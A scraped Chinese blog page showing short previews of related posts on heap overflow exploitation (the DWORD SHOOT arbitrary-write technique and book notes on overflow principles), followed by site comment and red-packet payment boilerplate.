fall_hat的博客 517

dword 占用多少信_利用DWORD SHOOT实现堆溢出的利用(先知收录)

原文链接:https://xz.aliyun.com/t/40091.0 DWORD SHOOT是什么捏?DWORD SHOOT指能够向内存任意位置写入任意数据,1个WORD=4个bytes,即可以通过执行程序将4bytes的数据写入4bytes地址中,从而实现某种恶意操作。是不是还不清晰咩?emmm,通过下面这个完整的堆溢出利用例子进行理解,这个例子通过修改PEB中的同步函数指针指向达到利用的目...

weixin_42537142的博客 223

漏洞战争-读书笔记-堆溢出原理

今天学习漏洞战争这本书,作者学医出身,凭着兴趣进入软件安全领域,后在腾讯安全实验室。--2017年到现在8年了,这本书竟让放到一个纸箱子里面后没有看过。今天拿出来看看。正好在分析一个堆内存被踩的问题,寻找一些灵感。3.2溢出原理。程序很简单:申请0x10大小的堆,strcpy了一个0x20大小的字符串,堆的边界就被破坏了。

hb_zxl的专栏 712
上一篇: 一种提取shellcode的方法
下一篇: Windows 2000缓冲区溢出入门
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值